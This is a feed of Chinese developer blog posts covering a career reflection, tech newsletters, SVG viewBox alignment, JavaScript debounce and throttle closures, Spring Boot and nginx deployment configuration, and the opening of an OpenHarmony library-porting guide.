这个过程,要对自己完完全全的真诚,别骗自己;也不要逃避,硬着头皮顶上去,过去了,人就成长了,可能过段时间回头看的时候,也没什么大不了的。

未知

我对自己想转产品的想法,依然有很大的不确定,不清楚这是逃避,还是自己内心真正的想法。

在年多前跟老板提过转产品被拒了,我相信更偏向内心的想法,但现阶段,我继续做开发也挺痛苦的,也有想逃离的情绪。

现在的痛苦为什么?我感觉我对现在的工作环境有点应激了,但凡跟资金相关的,都让我心头一紧。

或许是压力太大了?最近也连续加了不不少班,或许年后休息一段时间情绪自然就好了?我不知道。

人呐,要真正认清自己是非常困难的,我现在在局内,难以看清全貌。

我也不知道去做产品,和继续做技术,这两条路对未来有哪些影响。就两边同时着做,保住技术的老本行,同时学习产品知识,找一些机会,去试试。

人生也是不停认识自己的过程,我有点知道自己的能力边界、擅长什么、未来目标那种比较虚的感觉了。

加油,共勉。

by jianzhangg at January 19, 2025 03:32 PM

juejin article

浮躁的AI编程 - FAV0周刊#027

027期 - 浮躁的AI编程

本周刊开源,记录每周所见所闻,主要关注前端、AI、独立开发、开源工具等,每周六/周末发布,欢迎投稿,也期待你的关注/订阅 -- fav0.com

>>想聊的

浮躁的AI编程

感觉最近几个月我已经无法静下心来专研一门技术了,全是想着做出来,快点做出来,已经好久好久没去啃过一本600页以上的技术书籍了;

平常AI编码给出的效果如果可以,结果达到预期,甚至原理过程也不去纠结对不对了

感觉有点浮躁了,但又感觉独立开发就该这样,真是矛盾啊

>>该看的

TikTok难民

Tiktok自从宣布被封禁之后,不少外国用户涌入小红书,这也产生了很多独立开发的机会,比如一些导航站、起中文名工具站、还有一些我没看懂做什么的站,关于rednote的站点如蝗虫过境,非常凶猛~ 有一些站点也蹭到了不少的流量。

除此之外,小红书社区也异常热闹起来,中外开始友好有趣地交流起来了,比如:

拼多多有望成为Tiktok难免除小红书外的第二大受益者😀

2025年人工智能工程师阅读清单

人工智能无疑这两年最火的概念,这份清单值得一看:

>>好用的

21ST.DEV

最近非常火的一个站点,ProductHunt有上千票,也是开源的,github也很快地获得了近3k星星!

收集了非常多非常漂亮的UI组件,特别对于Landing Page,排列组合一下就能得到一个非常好看的页面!

AI Model 对比

一个对比AI(LLM) Model的对比网站

JSON Tree

域名不错,有在线Demo可以使用,也是开源的:

让人工智能控制你的浏览器

说出你的需求,浏览器使用就能完成,一个背靠YC的项目,github已经15k星了,官网有几个示例,看着效果还行:

  1. 在 Google Docs 中写一封信给我的爸爸,感谢他所做的一切,并将文档保存为 PDF
  2. 阅读我的简历并寻找机器学习职位,将其保存到文件中,然后在新标签页中开始申请
  3. 在 kayak.com 上查找从苏黎世到北京的航班
  4. 在 Hugging Face 上查找具有 cc-by-sa-4.0 许可证的模型,并按点赞数排序,保存前 5 个到文件中

详细可以查看官方文档的演示视频

Campsite开源了

一个团队合作沟通的app

层次丰富的渐变生成器

控制点更多,效果自定义程度更高,也更独特~

出海沟通必备 - 查询工作时间

之前有一次在Reddit和一位外国友人沟通时,由于时区不同以及打开Reddit的次数较少,很多消息的接收和回复都是下一天才能进行,效率比较低下。

这个小工具就能帮助你快速查询各个国家的工作时间:

干净、开源的Landing Page模板

一个免费下载使用的简约风、淡黄+黑配色、带点手绘图案的Landing Page!

技术栈:TailwindCSS (很喜欢这种风格,缺点是页面组件不多)

有质感、炫酷的Portfolio模板

技术栈:Nextjs、Once UI

页面包含:Home、About、Work、Blog、Gallery,几乎你想要实现个人网站的页面都有!

Shadcn主题生成器合集

  1. 官网
  2. 10000+ themes
  3. shadcn theme generator
  4. ZippyStarter
  5. Tinte

Notion官方做的头像生成器

更多

>>有趣的

响应式的钞票实现

南孚官网的中英区别

>>可读的

从JSON合成音乐

更多

by Justin3go at January 19, 2025 02:36 PM

juejin frontend

浅谈ViewBox那些事(二)

上一篇文章里我们真的是浅谈了一下ViewBox相关的理论,列举的是正方形,上篇文章的理论不仅适用于正方形,还适用于 “一切ViewBox自身的长宽比 == svg自身的长宽比” 的情况。

但是有些情况下,开发者还是会存在非常规的情况(ViewBox的长宽比 != svg的长宽比),那这个时候,ViewBox如何适应指定长宽的svg呢?

一句话:“ViewBox在哪个位置上以什么标准去适应svg?”。

这就得提到 preserveAspectRatio 属性了。

它的语法如下:

preserveAspectRatio = "align meetOrSlice"

// 默认值如下:
preserveAspectRatio = "xMidYMid meet"
  • align决定了ViewBox在X轴、Y轴上如何与svg对齐。
  • meetOrSlice决定了ViewBox到底是以较长边还是较短边去缩放以此来适应svg。

大家在阅读过程中,如果有对坐标系统不理解的,请看这篇文章

meetOrSlice

取值范围2个,分别是meet(默认值)、slice。

这2个值都是在保证ViewBox自身长宽比的情况下去缩放,有点类似 “background-size”。meet是在svg可视范围内尽可能的完整显示ViewBox,而slice是要占满整个svg的可视区域。

<style>
   svg {
       background-color: antiquewhite;
   }
</style>
<svg
      width="500"
      height="200"
      preserveAspectRatio="xMinYMin meet"
      ViewBox="20 20 200 100"
>
  <path 
      d="
          M 20 20
          L 220 120
      "
      stroke="black"
   ></path>
</svg>

截屏2025-01-19 12.16.09.png

上面是meet的效果,而slice的效果如下:

截屏2025-01-19 12.22.26.png

align

写法是小驼峰,比较好记忆。无论x、Y,它们的取值范围都是固定的集合【Min、Mid、Max】。

与之对应,大家可以理解为左对齐、中间对齐、右对齐。

我们还是以上面的代码为例,当 “Y不变,并且保证svg里始终都能显示完整的ViewBox”的情况下,我们看看这3个值在x轴上的变化(Y轴的变化情况与x一样,大家自行举一反三)。

Min

截屏2025-01-19 12.49.19.png

Min的含义就是“ViewBox的语法参数里,第一个参数就是svg可视范围内的x轴上的原点,第二个参数就是svg可视范围内的y轴上的原点”。

Mid

截屏2025-01-19 12.48.25.png

Mid的含义就是两个中点对齐(即逻辑上的中点物理长度上的中点对齐)。我们继续以x轴为例,首先ViewBox在逻辑上的坐标系统起点(20,20),终点(220,120),逻辑上的中点(120, 70),所以逻辑上的中点120与物理长度的中点对齐。那在横轴上的效果自然就是居中对齐。

Max

截屏2025-01-19 12.47.44.png

这个MDN的解释比较怪异,不太建议大家直接用这个属性,从表现形式上看的话,差不多是右对齐的形式,如果有知道这个属性含义的,大家可以评论区里讨论一下,哈哈哈。

最后

本期内容到这里就结束啦,两篇文章我们讲完了ViewBox的那些事,希望我的文章能够对你有帮助,那么我们下期再见~~

by 小九九的爸爸 at January 19, 2025 02:27 PM

juejin android

Android Weekly #202503

Android Weekly 是由 Gracker 精心整理和发布的技术资讯周刊,每周一准时更新,汇聚了过去一周内与 Android 相关的高质量技术文章、泛客户端技术的最新动态,以及其他值得关注的非技术类文章,内容覆盖广泛,从 Android 开发到跨平台技术,从系统底层优化到前沿技术分享,为开发者提供全方位的知识拓展。

本周刊可以通过微信公众号、知乎专栏、掘金专栏、个人博客、竹白等平台订阅和阅读。

技术文章

  1. 深入 Flutter 和 Compose 在 UI 渲染刷新时 Diff 实现对比 : 这篇文章对比了 Flutter 和 Jetpack Compose 在 UI 渲染刷新时差异更新(Diff)的实现机制。Flutter 采用线性对账算法,通过最小化查找将 Widget 配置信息更新到 Element 上。Jetpack Compose 则使用基于 Gap Buffer 的 SlotTable 数据结构,在重组完成后才将差异部分更新到对应的 LayoutNode。
  2. 计算体系结构的伟大思想:虚拟内存 2-Lecture 33 : 虚拟内存是现代计算中隐藏的重要技术,为性能优化、安全性和灵活性提供强大支持。它通过地址映射和分页机制,为每个程序提供独立的虚拟地址空间。硬件和软件协作完成地址翻译和页面交换,实现有效的内存管理。虚拟内存在云计算、GPU 计算、数据库等领域广泛应用,并将随着硬件进步不断优化和发展。
  3. 【音视频】视频播放卡顿问题的分析和解决丨音视频实战经验 : 本文主要分析了视频播放卡顿问题的原因及解决思路。文章首先指出视频播放卡顿的主要原因可能是网络波动、解码渲染能力不足以及缓冲策略不合理导致的数据断供。针对这些问题,文章提出了一种基于分层架构的播放器设计方案,包括播放控制层、缓冲管理层、网络数据层和解码渲染层。并重点介绍了核心的三级缓冲策略和动态调整机制。最后,文章还给出了一些其他的优化建议,如网络优化、解码优化、渲染优化、监控优化和体验优化等。
  4. 【直播回放】快手团队的 KMP 鸿蒙落地实践| 2024 Kotlin 中文开发者大会 : 自研 OS 时代,以鸿蒙为首的各类新型操作系统应运而生,这对快手这样以“超大规模工程量级移动端应用”为主要业务载体的公司,带来了巨大的效能挑战。本次分享将结合快手的 KMP 鸿蒙落地实践,从降低 KMP 业务接入成本的角度出发,介绍快手是如何通过建设 KMP 鸿蒙易用性基础设施促进业务落地并提高研发效能的。希望快手的技术方案选型和渐进式落地推广思路,能给同样需要从 0 到 1 落地 KMP 的应用提供参考与帮助。
  5. Android 15- 16kb 页对齐适配大扫盲 : 文章主要介绍了 Android 15 中 16kb 页对齐的适配。包括需要适配的两种情况:未进行 16kb 对齐的 so 及 native 代码中固定硬编码 4kb 部分系统调用异常。讲解了适配过程,如环境准备、so 本身的 16kb 对齐方法,还通过 shadowhook 实战举例,最后总结了三个适配相关的小结论。
  6. Matrix 源码阅读笔记 —— TracePlugin(中) : 文章是关于 Matrix 的 TracePlugin 功能的介绍,包括对 SignalAnrTracer 和 FrameTracer 的分析。SignalAnrTracer 主要监控 ANR 信号,获取系统的 trace 文件,涉及多种语言的代码实现和处理逻辑。FrameTracer 则包括 Android 7 及其以后和以前版本的帧率检测,前者直接使用 API,后者通过 Hook Choreographer 计算帧率,并详细阐述了相关代码的执行逻辑和任务顺序。
  7. 彻底掌握 Android14 Vsync 原理 : 本文主要介绍了 Android14 Vsync 原理,包括 Vsync 是什么及作用、HW-Vsync 计算模型建立、软件 Vsync 信号计算过程与校准、App 和 SF 申请 Vsync 信号的流程等。指出 Vsync 用于同步画面,软件 Vsync 基于 HW-Vsync 计算,有特定参数和计算方式,且存在校准场景和相应流程。
  8. Android 系统性能优化之重排,你知道几个? : Android 系统性能优化之重排解析
    1. Android 系统多方面采用重排技术优化性能,包括 Java 层 multidex、字节码 aot/jit 转汇编、native C++编译优化以及图形栈重排指令、CPU 和 GPU 底层的机器码重排等。
    2. 重排既可以提升性能,但同时也增加了复杂度和可能引入 bug。作者曾遇到过 art 虚拟机中由于指令重排导致的 bug。
    3. 对于 Android app 的 looper 消息循环,可以参考 iOS 的 runloop 做分类分级,而不是一刀切。这是一个值得探索的优化方向。
  9. 能量感知调度(EAS,Energy-Aware Scheduling)的考古日志系列,连载五 : 本系列 patch 为 EAS 相关,主要记录 EAS 从提出讨论,经过多个版本迭代,最终合入主线内核的过程。Quentin Perret 在 Morten Rasmussen 工作的基础上完成了 EAS 的开发合入。本文介绍第二个 patch,schedutil 调频器为适配 EAS 所做的一些准备。本文基于 kernel5.0-rc1。
  10. 能量感知调度(EAS,Energy-Aware Scheduling)的考古日志系列,连载六 : 本系列 patch 为 EAS 相关,主要记录 EAS 从提出讨论,经过多个版本迭代,最终合入主线内核的过程。Quentin Perret 在 Morten Rasmussen 工作的基础上完成了 EAS 的开发合入。本文介绍第三个 patch, 为 EAS 引入一个能量模型管理框架,这是一个相对独立的框架模型,可用于其它子系统。有了能量模型, EAS 可以在满足性能的条件下,选择能效比最高的 CPU 运行。本文基于 kernel5.0-rc1。
  11. 案例分享:图片内存泄漏快速定位方法 : 本文探讨了 Android 平台内存泄漏快速定位的一种新方法,利用对图像内存占用的可视化分析。
  12. android app 渲染流水线图解 : 刷到 Google io 2018 的讲解的 app 渲染流程视频,虽然视频有点老了,新版本 android 可能变化了,但内容不错,讲得很好。整理出来分享给大家。
  13. Jetpack Compose Optimization Checklist : 这篇文章总结了 Jetpack Compose 中优化性能的关键做法,包括利用可跳过性(skippability)、状态管理和延迟组合等高级概念来确保 UI 渲染的流畅性,适用于复杂应用场景。该清单涵盖了懒加载列表、动画和布局等多方面的最佳实践,可以帮助开发者提高 Jetpack Compose 应用的性能表现。
  14. AI 编程蓝皮书 : 作者介绍了使用 AI 编程的流程和工具。
  15. 再学安卓 - binder 之驱动加载 : 本文主要介绍了 Android 内核中 Binder 驱动的初始化过程, 包括 initcall 机制、设备创建、文件系统挂载等。通过对代码的分析和踩点, 全面地展示了 Binder 驱动的启动流程。
  16. perfetto 高阶使用:编译浏览器 UI : 这篇文章主要介绍了 perfetto 编译浏览器 UI 的相关内容。包括参考学习文档、核心步骤、实战步骤、报错处理等。核心步骤为获取源码、执行 tools/install-build-deps --ui 和 ui/run-dev-server 等命令。实战中需满足前提条件,如翻墙、使用特定系统等,并列举了多种报错情况及处理方法,还提到了取巧的离线使用办法。
  17. Android 15 新特性,预测性返回手势 : Android 15 新增了预测性返回手势功能,可以在返回上一个界面之前预览即将返回到的界面。这个功能从 Android 13 开始引入,但直到 Android 15 才默认启用。预测性返回手势可以提升用户体验并降低返回操作的误操作率。但由于需要各 App 进行适配,所以这个功能的推广进度比较慢。
  18. 这样代码命名,总不会被同事蛐蛐了吧 : 本文主要探讨了如何进行良好的代码命名,从而提高代码的可读性和可维护性。
  19. 手机上跑大模型,酷不酷 : 本文介绍了在手机上运行大语言模型的解决方案 mlc-llm 项目。这个项目可以让大语言模型直接运行在手机、电脑等设备上,无需依赖网络。这带来了诸多可能性,比如在手机上与 AI 助手进行交互、避免数据隐私泄露、为游戏等硬件实现智能对话等。此外,作者还分享了在探索 mlc-llm 项目中发现的 conda 软件环境管理工具的使用心得。
  20. Android15 调试专题第九弹:编译 Pixel 内核源码 :这篇文章介绍了如何编译 Pixel 系列手机的内核源码
  21. PMU, AMU 的区别 : 文章简要内容概括:本文对比了 Arm 架构中的 Performance Monitoring Unit (PMU)和 Activity Monitoring Unit (AMU)的区别。它们都有性能计数器用于监控和分析系统性能,但在用途、编程模式等方面有所不同。PMU 主要用于性能分析和调试,AMU 主要用于系统管理和监控,尤其是功耗和性能管理。
  22. 技术管理:目标与对象视角下的洞察与实践 : 技术管理的核心目标是为业务成功提供全方位、深层次的技术支撑与保障,通过技术创新与规划助力商业目标的实现,同时在满足技术人员精神层面(如个人技术进步、能力提升)和物质层面(如薪资、奖金等)核心诉求的基础上,激发其工作热情与创造力。优秀的技术管理者应注重培养团队成员的技术领导力,打造具备持续进步能力的卓越团队,并在与非技术管理者争取团队利益时,勇于突破心理束缚,积极为团队争取资源与支持。
  23. Android anr 排查之 sp 卡顿 : 这篇文章主要分析了 Android 开发中 SharedPreference 引起的主线程卡顿和 ANR 问题,并提出了解决方案。SharedPreference 的 apply 操作会在主线程执行写入操作,可能导致主线程卡顿,而页面退出时,ActivityThread 会阻塞等待 SharedPreference 写入完成,从而进一步引发 ANR 问题。为了解决这一问题,文章提出通过反射替换 SharedPreference 的内部实现,避免主线程卡顿和 ANR,并对这一优化方案进行了详细说明。
  24. 音视频基础能力之 Android 音频篇 (五):史上最全的音频渲染总结 : 这篇文章是音视频基础能力之 Android 音频篇的第 5 篇,主要介绍了 Android 平台下音频渲染的几种方式。包括 AudioTrack 的初始化、开始渲染、停止渲染的步骤及相关参数设置,OpenSL 的初始化、播放、引入等流程,AAudio 的关键流程及播放控制,Oboe 的引入方式。还提及了硬件音视频能力与操作系统的关系及系列文章的相关链接。
  25. 2025 稳定性业务研讨问题 : 这篇文章从能力、管理和流程三个方面探讨了应用稳定性业务的改进方向。在能力方面,需解决三方应用的内存泄露、无响应故障等“硬骨头”问题,并利用图像检测、事件旅程检测等技术突破,同时提升 AI 深度遍历测试、自动化测试生成能力以及竞品对比测试和逆向能力;系统稳定性能力已较完善,可通过小幅改进进一步优化。在管理方面,需更好地协同管理芯片厂家导入基线、Google GKI 升级变化等外部不可控因素,以及三方应用升级引发的问题。在流程方面,需加强应用市场上架测试流程和自研需求开发质量的流程管理,以全面提升稳定性业务的效率和效果。
  26. CUDA 内存管理器 : 内存管理器提供了内存分配的抽象接口,供 CUDA 驱动程序的其他单元或通过 cuda runtime API 的用户层 API 使用。它还提供了在主机(Host)和设备(Device)之间共享已分配内存的抽象接口。CUDA Driver API 以内存对象(Memory Objects)的形式看待内存分配。一个内存对象表示分配的一块内存。它抽象了内存管理中的所有层次,并为 CUDA 驱动程序的其他单元提供 API,用于 malloc/free 和 mmap/unmap 内存,以及其他的辅助功能。为了避免内存碎片化,内存对象是从一个更大的固定大小的内存块(Memory Block) 中分配的。每个内存块都有一个内存描述符(Memory Descriptor),其中包含与内存块关联的所有内存属性。内存管理器负责维护给定 CUDA 上下文中分配的所有内存块。

非技术文章

  1. 讨论胶水工作 : 这篇文章讨论了在软件工程团队中出现的"胶水工作"(glue work),即那些不直接产生代码却对项目成功至关重要的工作,例如帮助他人提高效率、更新路线图、与用户沟通等。文章描述了一位优秀的"胶水工作"者如何由于团队和组织没有认识到这种工作的重要性而无法获得晋升,最后不得不考虑转向更加"可量化"的非技术性工作。
  2. 成长创业笔记 6:2025 年稳步前行,家政小程序迭代新版本,继续出发 : 该文章主要介绍了作者独立开发者小张对其家政小程序的迭代更新与反思。
  3. vol28.信息过载自救指南 : 本文从信息过剩、信息茧房、 FOMO(害怕错过)和注意力涣散等多个原因分析了信息过载的产生,并提出了一些应对措施,包括保持无聊、找到自己的母题、构建信息获取系统等。文章还提供了一些优质内容的链接推荐。
  4. 为什么韩国明明是发达国家却总是一副吃不起肉的样子? : 回答和评论都是精华:大学四年所有课都可以不去,也要牢记楼主的这篇创作,这教会了我们如何思考,以及对于人生的规划,将大问题拆解成可以践行的小问题
  5. 新疆二十日(上):雪域沙海,我的北疆探索之旅 : 本次新疆的行程全程自驾,从北疆到南疆的 20 天里大概行驶了超过 5000 公里。我们从上海直接飞抵伊宁,途径赛里木湖、克拉玛依、喀纳斯、乌鲁木齐、吐鲁番、哈密、库车、阿克苏、塔县,最终在喀什返程。一路上,我们穿越了阿禾公路,独自畅游在无际的雪山中;也走过了沙漠“大海道”,看到了独特的雅丹地貌;还有惊无险地通过了塔莎古道,重温了当年西游玄奘之路。在北疆,我们看到了冬季的白雪皑皑;在南疆,我们也领略了晚秋的胡杨林,即便现在已踏上归途,仍旧让我们流连忘返。
  6. 新疆二十日(下):古道高原,南疆的冰与火之歌 : 本文是《新疆二十日(上):雪域沙海,我的北疆探索之旅》的后续章节,记录了我们从北疆驶向南疆的旅程。如果说北疆的雪山、湖泊和荒野赋予了这段旅途以雄浑壮丽,那么南疆则以胡杨林、沙漠和古道为我们展开了一幅多彩而深邃的画卷。在南疆,我们将继续追寻丝路的遗迹,穿越塔克拉玛干沙漠,领略胡杨林的秋末辉煌,也将重走玄奘的西游足迹,踏上塔莎古道的荒凉与壮美。
  7. 对父母的和解 : 在我年纪轻轻、见识稍浅之时,我的父亲曾给我些许建议,至今仍萦绕在我的心头。他说:“当你想要批评某人时,你要记住,这个世界上并不是所有人都拥有你的那些条件。”
  8. 人到中年,减肥后维持体重不反弹一年的感悟 : 中年人如何在减肥后稳定体重并防止反弹
  9. 为了帮助你回忆旅行足迹,我开发了「山河旅记」 : 「山河旅记」是一款专注于记录个人旅行经历的应用。它提供了简单高效的各种记录功能,如自动生成旅行足迹、支持批量导入照片、建立旅行图谱等,帮助用户轻松保存旅途中的点点滴滴,方便日后回忆重温。应用采用完全本地存储的设计,确保数据安全性,并计划持续完善更多实用功能,让每个旅行者都能拥有一本独一无二的旅行手记。
  10. 如何优雅地开启个人博客? : 最近陆陆续续收到了一些朋友关于想要开启个人博客的想法,有些是想通过公开输出,倒逼自己一把;有些是本来就有记录的习惯,希望拥有自己的一个独立博客;有些则是希望通过书写、记录,去发现探索自己的内心。各有目的和需求,但是最终都会碰到一个开启博客问题:如何写呢,如何分类自己的思想呢,如何去搭建呢,如何跨越自己的羞耻心公开教育自己呢,如何去持续稳定输出呢,想想就有一堆问题,有些是心理上的,有些是技术上的,有些是写作输出上,各有不同,这些问题都会导致在开启个人博客这件事上碰到诸多阻碍,而长期停滞不前,随后不了了之。

打点鸡血

关于胶水工作:

推广

纯银的产品分析专栏,主要是为了扩展视野:

  • 📊 产品分析的重要性 在产品分析中,关注用户在产品中的行为比关注产品设计更为重要,因为用户行为能准确反映产品设计的效果。
  • 🔍 用户使用场景分析 产品分析应涉及用户使用场景、需求定位和市场分析,以确保产品结构和逻辑符合实际需求。
  • 📖 系列产品分析 纯银系列的产品分析包括多季的内容,涵盖广泛的话题和不同的市场需求探讨,适合对产品策略有兴趣的读者。

关于作者

下面是个人的介绍和相关的链接,期望与同行的各位多多交流,三人行,则必有我师!

  1. 掘金 - Gracker:juejin.cn/user/181684…
  2. 知乎 - Grackerwww.zhihu.com/people/grac…
  3. 个人博客 - Android Performance : 写东西的地方
  4. 个人介绍 - 欢迎加微信群组多多交流 :里面有个人的微信和微信群链接。
  5. 个人整理和搜集的优秀博客文章 - Android 性能优化必知必会 :欢迎大家自荐和推荐 (微信私聊即可)
  6. 本周刊 Newsletter 订阅androidweekly.zhubai.love/ ,支持微信和邮箱订阅
  7. 微信公众号 Android Performance
  8. Android 性能优化知识星球 : 个人运营的一个知识星球,欢迎加入,多谢支持~

by Gracker at January 19, 2025 02:09 PM

juejin frontend

闭包的理解及应用

闭包

  • 闭包就是指有权访问另一个函数作用域中的变量的函数
  • MDN 上面这么说:闭包是一种特殊的对象。

闭包的作用域链包含着它自己的作用域,以及包含它的函数的作用域和全局作用域。闭包的注意事项
通常,函数的作用域及其所有变量都会在函数执行结束后被销毁。但是,在创建了一个闭包以后,
这个函数的作用域就会一直保存到闭包不存在为止。

我们首先知道闭包有3个特性:
①函数嵌套函数
②函数内部可以引用函数外部的参数和变量
③参数和变量不会被垃圾回收机制回收

优点:
①保护函数内的变量安全 ,实现封装,防止变量流入其他环境发生命名冲突
②在内存中维持一个变量,可以做缓存(但使用多了同时也是一项缺点,消耗内存)
③匿名自执行函数可以减少内存消耗

闭包的缺点就是常驻内存会增大内存使用量,并且使用不当很容易造成内存泄露。
如果不是因为某些特殊任务而需要闭包,在没有必要的情况下,在其它函数中创建函数是不明智的,
因为闭包对脚本性能具有负面影响,包括处理速度和内存消耗。

// 防抖  
function debounce(fn, wait) {  
let timeout = null;  
return function() {  
let context = this;  
let args = arguments;  
if (timeout) clearTimeout(timeout);  
let callNow = !timeout;  
timeout = setTimeout(() => {  
timeout = null;  
}, wait);  
if (callNow) fn.apply(context, args);  
};  
}  
  
// 使用示例  
window.addEventListener('resize', debounce(function() {  
console.log('窗口大小已改变');  
}, 250));  
  
// 截流  
function throttle(fn, wait) {  
let previous = 0;  
return function() {  
let context = this;  
let args = arguments;  
let now = new Date();  
if (now - previous > wait) {  
fn.apply(context, args);  
previous = now;  
}  
};  
}  
  
// 使用示例  
window.addEventListener('scroll', throttle(function() {  
console.log('滚动事件被触发');  
}, 200));  
  

by 阿芯爱编程 at January 19, 2025 02:09 PM

juejin freebie

前端的全局请求配置和后端的yml文件配置api

一.后端的yml文件中配置"/api"

1.1 yml文件中配置 servlet: context-path: /api的作用

context-path:上下文路径

在Spring Boot应用中,servlet.context-path用于设置应用的上下文路径,即应用的根URL路径。设置context-path: /api意味着,应用中的所有路径都将在/api后面,比如访问首页可能是http://localhost:8080/api/

以下是一个简单的例子,展示如何在application.yml文件中配置servlet.context-path:

server:
  port: 8080
  servlet:
  context-path: /api

在这个配置下,应用将会监听8080端口,并且所有的请求都会被映射到/api路径下。例如,如果你有一个控制器映射到/,那么实际的访问路径将是http://localhost:8080/api/

1.2 yml文件中没有配置 servlet: context-path

启动application;浏览器中打开"http://localhost:8082/doc.html",即可打来在线文档;浏览器中打开"[localhost:8082/api/doc.html](http://localhost:8082/api/doc.html)"会报错。

1.3 yml文件中配置 servlet: context-path

定义: server.servlet.context-path=## 应用的上下文路径,也可以称为项目路径,是构成url地址的一部分。

server.servlet.context-path不配置时,默认为 / ,如:localhost:8080/xxxxxx xxxxxx为controller上的路径

当server.servlet.context-path有配置时,比如 /demo,此时的访问方式为localhost:8080/demo/xxxxxx

1.4 配置 servlet: context-path: /api

启动application;浏览器中打开"http://localhost:8082/api/doc.html",即可打开在线文档;浏览器中打开"http://localhost:8082/doc.html"会报错。

1.5 注意事项

  1. 访问
servlet:
  context-path: /api

添加上面配置后,并不意味着输入http://localhost:8080后就自动在后面添加"/api";而是在controller上的路径前面添加"/api"才可以正常访问controller中的路径。

在线文档访问的就是controller中请求响应的内容。

  1. 查看

通过查看运行后是否有下面的代码判断是否执行

Tomcat started on port(s): 8082 (http) with context path '/api'
  1. 报错
servlet:
  context-path: /api

添加后出现下面报错

Tomcat started on port(s): 8082 (http) with context path ''

这条信息表明Tomcat服务器已经在端口8082上启动,并准备接收HTTP请求。这通常是Tomcat的默认HTTP端口。信息还提到了context path,这是指Tomcat中web应用的访问路径。在这个信息中,context-path是空的,意味着web应用的根目录将会映射到http://localhost:8082;不需要添加"/api"。

报错原因

从Spring Boot 2.0开始,应该用**server.servlet.context-path**配置。

如下配置:

server:
  port: 8082
  servlet:
    context-path: /api

启动application

Tomcat started on port(s): 8082 (http) with context path '/api'

二. 修改前端的全局请求配置文件

2.1 配置域名

2.1.1 xxx.com

如上执行时,添加新账户时浏览器url报错如下:

域名可以理解成平替IP;一定要写全http和/api

2.1.2 xxx.com

如上执行时,添加新账户时浏览器url报错如下:

因为nginx中配置有"/api"反向代理

只有后面有/api时才可以代理到后端。

2.1.3 xxx.com/api

域名可以理解成平替IP;一定要写全http和/api

2.1.3 xxx.com/api

上面配置后,正常访问

但是新建用户时,会报出无权限。

此时,需要先使用在线文档新建一个账户;然后使用新建用户登录后便拥有了权限,一切操作正常。

2.2 配置服务器IP

  1. 前端的全局请求配置文件中线上url的配置与上面域名的配置相互对应。
  2. 线上访问的url地址应该是前端的地址,如同上面的域名,切记不要设置成为了后端。

三. 配置和上线上传的注意事项

  1. 线上访问的url地址应该是前端的地址,如同上面的域名,切记不要设置成为了后端。

  2. 域名如果没有泛解析,输入域名www.###.com,如果进行了泛解析,输入泛解析域名###.com即可访问;但是在前端的全局请求配置文件中必须配置xxx.com/api

  3. 一定要写全http和/api;否者一定会报错。

  4. nginx反向代理,在宝塔面板中前端配置下面代码:

location /api {
  proxy_pass  http://127.0.0.1:8081;
  proxy_set_header Host $proxy_host;
  proxy_set_header X-Real-IP $remote_addr;
  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  proxy_buffering off;
  proxy_set_header Connection "";
}

    location / {
try_files $uri $uri/ /index.html;
}
  1. 打包上传。

后端在打包前,先clean,然后再打包生成jar包;前端直接打包生成dist文件,直接默认替代以前的dist,不需要删除再打包。

  1. 宝塔项目的根目录

同一个项目需要再次打包重新上传时,只需要将更目录对应的文件更换即可,刷新页面,一直正常,不需要删除项目,重新再创建。

四. 异常

4.1 宝塔nginx部署前端页面刷新报404

在前端在nginx配置文件中的http->server->location中添加以下代码,完美秒杀。

location / {
try_files $uri $uri/ /index.html;
}

4.2 前端没有携带 cookie 导致后端识别不到

前端 axios 是否开启了 withCredentials=true

4.3 后端关于 springboot 的 server.servlet.session.cookie.domain 域定位怎么设置?

没有域名就是服务器IP

http 环境就不要使用 secure 和samesite

server:
  servlet:
    session:
      cookie:
        domain: 域名或者IP

4.4 宝塔面板跨域

4.4.1 前端

前端请求地址和前端运行地址一致 也就是前端 baseURL 请求 192.168.196.158:8000 具体参考自己运行地址

4.4.2 后端

server
{
    listen 80;
    server_name 前端 IP 比如 126.4.3.3;
    root 前端路径;

    location /api {
      proxy_pass  http://127.0.0.1:后端端口;
      proxy_set_header Host $proxy_host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
      proxy_buffering off;
      proxy_set_header Connection "";
    }


    # 这个要写在下面!
    location / {
        index  index.html index.htm;
        try_files $uri $uri/ /index.html;
    }
}


4.5 为什么后端配置了 @CrossOrigin 注解还是会报错?

在后端的 @CrossOrigin 注解加 allowCredentials="true"。

by 程序员jin at January 19, 2025 01:51 PM

juejin backend

OpenHarmony(鸿蒙南向开发)——轻量和小型系统三方库移植指南(一)

概述

本文为OpenHarmony开发者提供一些组织编译形式比较常见(CMakeLists、Makefile)的三方库的移植指南,该指南当前仅适用于Hi3516DV300和Hi3518EV300两个平台,文中着重介绍各编译组织方式下工具链的设置方法以及如何将该库的编译添加到OpenHarmony整个工程的构建中。

CMake方式组织编译的库移植

源码获取

从仓库 获取double-conversion源码 ,其目录结构如下表:

表1 源码目录结构

名称描述
double-conversion/cmake/CMake组织编译使用到的模板
double-conversion/double-conversion/源文件目录
double-conversion/msvc/-
double-conversion/test/测试用例源文件
double-conversion/.gitignore-
double-conversion/AUTHORS-
double-conversion/BUILD-
double-conversion/CMakeLists.txtCMake方式顶层编译组织文件
double-conversion/COPYING-
double-conversion/Changelog-
double-conversion/LICENSE-
double-conversion/Makefile-
double-conversion/README.md-
double-conversion/SConstruct-
double-conversion/WORKSPACE-

移植思路

移植思路:通过修改工具链,交叉编译该三方库,生成OpenHarmony平台的可执行文件,最后再通过GN调用CMake的方式添加到OpenHarmony工程中。

交叉编译

编译参考

代码仓库的 README.md 中详细介绍了使用CMake编译double-conversion库的步骤,以及测试方法。本文参考该指导设置该库的编译配置,并完成测试。若开发人员在移植过程中对该库的编译选项配置有疑惑的地方,可参考该指导。对于其他使用CMake可独立编译的三方库,在移植时可以参考其自带的编译指导。

设置执行交叉编译

CMake方式可通过指定工具链进行交叉编译,修改并编译该库,生成OpenHarmony平台的可执行文件,步骤如下:

  1. 设置工具链 将下列clang工具链配置添加到该工程的顶层CMakeLists.txt(即表1中的该文件)中即可。
    set(CMAKE_CROSSCOMPILING TRUE)
    set(CMAKE_SYSTEM_NAME Generic)
    set(CMAKE_CXX_COMPILER_ID Clang)
    set(CMAKE_TOOLCHAIN_PREFIX llvm-)
    #指定c编译工具(确保工具链所在路径已经添加到了PATH环境变量中)和编译标志,使用clang编译时标志中必须指定--target,否则无法交叉编译。
    set(CMAKE_C_COMPILER clang)
